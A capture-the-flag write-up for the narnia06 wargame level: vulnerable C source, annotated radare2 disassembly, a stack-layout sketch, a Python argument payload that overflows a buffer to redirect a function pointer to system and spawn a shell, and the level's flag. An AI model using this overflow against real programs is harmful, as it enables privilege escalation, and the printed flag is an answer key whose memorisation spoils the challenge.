Writeup
narnia06.c content :
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
extern char **environ;
// tired of fixing values...
// - morla
unsigned long get_sp(void) {
__asm__("movl %esp,%eax\n\t"
"and $0xff000000, %eax"
);
}
int main(int argc, char *argv[]){
char b1[8], b2[8];
int (*fp)(char *)=(int(*)(char *))&puts, i;
if(argc!=3){ printf("%s b1 b2\n", argv[0]); exit(-1); }
/* clear environ */
for(i=0; environ[i] != NULL; i++)
memset(environ[i], '\0', strlen(environ[i]));
/* clear argz */
for(i=3; argv[i] != NULL; i++)
memset(argv[i], '\0', strlen(argv[i]));
strcpy(b1,argv[1]);
strcpy(b2,argv[2]);
//if(((unsigned long)fp & 0xff000000) == 0xff000000)
if(((unsigned long)fp & 0xff000000) == get_sp())
exit(-1);
setreuid(geteuid(),geteuid());
fp(b1);
exit(1);
}
We can use cutter
or radare2
to edit the objdump and change the variable name to make the stack easier to represent.
(fcn) sym.main 331
| int sym.main (int argc, char **argv, char **envp);
| ; var char *b2 @ ebp-0x1c
| ; var char *b1 @ ebp-0x14
| ; var int fp @ ebp-0xc
| ; var int var_8h @ ebp-0x8
| ; arg uint32_t arg_8h @ ebp+0x8
| ; arg char **src @ ebp+0xc
| 0x080485a8 push ebp
| 0x080485a9 mov ebp, esp
| 0x080485ab push ebx
| 0x080485ac sub esp, 0x18
| 0x080485af mov dword [fp], sym.imp.puts ; 0x8048430
| 0x080485b6 cmp dword [arg_8h], 3 ; [0x8:4]=-1 ; 3
| ,=< 0x080485ba je 0x80485d6
| | 0x080485bc mov eax, dword [src] ; [0xc:4]=-1 ; 12
| | 0x080485bf mov eax, dword [eax]
| | 0x080485c1 push eax
| | 0x080485c2 push str.s_b1_b2 ; 0x8048780 ; "%s b1 b2\n" ; const char *format
| | 0x080485c7 call sym.imp.printf ; int printf(const char *format)
| | 0x080485cc add esp, 8
| | 0x080485cf push 0xffffffffffffffff ; int status
| | 0x080485d1 call sym.imp.exit ; void exit(int status)
| `-> 0x080485d6 mov dword [var_8h], 0
| ,=< 0x080485dd jmp 0x8048618
| .--> 0x080485df mov eax, dword [obj._environ] ; obj.environ__GLIBC_2.0 ; [0x80499e8:4]=0
| :| 0x080485e4 mov edx, dword [var_8h]
| :| 0x080485e7 shl edx, 2
| :| 0x080485ea add eax, edx
| :| 0x080485ec mov eax, dword [eax]
| :| 0x080485ee push eax ; const char *s
| :| 0x080485ef call sym.imp.strlen ; size_t strlen(const char *s)
| :| 0x080485f4 add esp, 4
| :| 0x080485f7 mov ecx, eax
| :| 0x080485f9 mov eax, dword [obj._environ] ; obj.environ__GLIBC_2.0 ; [0x80499e8:4]=0
| :| 0x080485fe mov edx, dword [var_8h]
| :| 0x08048601 shl edx, 2
| :| 0x08048604 add eax, edx
| :| 0x08048606 mov eax, dword [eax]
| :| 0x08048608 push ecx ; size_t n
| :| 0x08048609 push 0 ; int c
| :| 0x0804860b push eax ; void *s
| :| 0x0804860c call sym.imp.memset ; void *memset(void *s, int c, size_t n)
| :| 0x08048611 add esp, 0xc
| :| 0x08048614 add dword [var_8h], 1
| :`-> 0x08048618 mov eax, dword [obj._environ] ; obj.environ__GLIBC_2.0 ; [0x80499e8:4]=0
| : 0x0804861d mov edx, dword [var_8h]
| : 0x08048620 shl edx, 2
| : 0x08048623 add eax, edx
| : 0x08048625 mov eax, dword [eax]
| : 0x08048627 test eax, eax
| `==< 0x08048629 jne 0x80485df
| 0x0804862b mov dword [var_8h], 3
| ,=< 0x08048632 jmp 0x8048671
| .--> 0x08048634 mov eax, dword [var_8h]
| :| 0x08048637 lea edx, [eax*4]
| :| 0x0804863e mov eax, dword [src] ; [0xc:4]=-1 ; 12
| :| 0x08048641 add eax, edx
| :| 0x08048643 mov eax, dword [eax]
| :| 0x08048645 push eax ; const char *s
| :| 0x08048646 call sym.imp.strlen ; size_t strlen(const char *s)
| :| 0x0804864b add esp, 4
| :| 0x0804864e mov edx, eax
| :| 0x08048650 mov eax, dword [var_8h]
| :| 0x08048653 lea ecx, [eax*4]
| :| 0x0804865a mov eax, dword [src] ; [0xc:4]=-1 ; 12
| :| 0x0804865d add eax, ecx
| :| 0x0804865f mov eax, dword [eax]
| :| 0x08048661 push edx ; size_t n
| :| 0x08048662 push 0 ; int c
| :| 0x08048664 push eax ; void *s
| :| 0x08048665 call sym.imp.memset ; void *memset(void *s, int c, size_t n)
| :| 0x0804866a add esp, 0xc
| :| 0x0804866d add dword [var_8h], 1
| :`-> 0x08048671 mov eax, dword [var_8h]
| : 0x08048674 lea edx, [eax*4]
| : 0x0804867b mov eax, dword [src] ; [0xc:4]=-1 ; 12
| : 0x0804867e add eax, edx
| : 0x08048680 mov eax, dword [eax]
| : 0x08048682 test eax, eax
| `==< 0x08048684 jne 0x8048634
| 0x08048686 mov eax, dword [src] ; [0xc:4]=-1 ; 12
| 0x08048689 add eax, 4
| 0x0804868c mov eax, dword [eax]
| 0x0804868e push eax ; const char *src
| 0x0804868f lea eax, [b1]
| 0x08048692 push eax ; char *dest
| 0x08048693 call sym.imp.strcpy ; strcpy(b1,argv[1]) ; char *strcpy(char *dest, const char *src)
| 0x08048698 add esp, 8
| 0x0804869b mov eax, dword [src] ; [0xc:4]=-1 ; 12
| 0x0804869e add eax, 8
| 0x080486a1 mov eax, dword [eax]
| 0x080486a3 push eax ; const char *src
| 0x080486a4 lea eax, [b2]
| 0x080486a7 push eax ; char *dest
| 0x080486a8 call sym.imp.strcpy ; strcpy(b2,argv[2]) ; char *strcpy(char *dest, const char *src)
| 0x080486ad add esp, 8
| 0x080486b0 mov eax, dword [fp]
| 0x080486b3 and eax, 0xff000000
| 0x080486b8 mov ebx, eax
| 0x080486ba call sym.get_sp
| 0x080486bf cmp ebx, eax
| ,=< 0x080486c1 jne 0x80486ca
| | 0x080486c3 push 0xffffffffffffffff ; int status
| | 0x080486c5 call sym.imp.exit ; void exit(int status)
| `-> 0x080486ca call sym.imp.geteuid ; uid_t geteuid(void)
| `-> 0x080486ca call sym.imp.geteuid ; uid_t geteuid(void)
| 0x080486cf mov ebx, eax
| 0x080486d1 call sym.imp.geteuid ; uid_t geteuid(void)
| 0x080486d6 push ebx
| 0x080486d7 push eax
| 0x080486d8 call sym.imp.setreuid
| 0x080486dd add esp, 8
| 0x080486e0 lea eax, [b1]
| 0x080486e3 push eax
| 0x080486e4 mov eax, dword [fp] ; fp calls b1
| 0x080486e7 call eax
| 0x080486e9 add esp, 4
| 0x080486ec push 1 ; 1 ; int status
\ 0x080486ee call sym.imp.exit ; void exit(int status)
0x080486f3 nop
Now it’s easy to see that fp
is right after b1
. We can now insert in b1 /bin/sh
and in fp the address of system
.
Stack view :
| <b2> | <== ebp-0x1c
| <b1> | <== ebp-0x14
| <fp> | <== ebp-0xc
./narnia6 $(python -c 'print "/bin/sh"+"\x50\xc8\xe4\xf7"') stuff
But it gives us segmentation fault, why? because /bin/sh
is 7 bytes instead of 8. However we can insert in b1 /bin/sh;
and the exploit will work :
./narnia6 $(python -c 'print "/bin/sh;"+"\x50\xc8\xe4\xf7"') stuff
Now it works :D
Flag
ahkiaziphu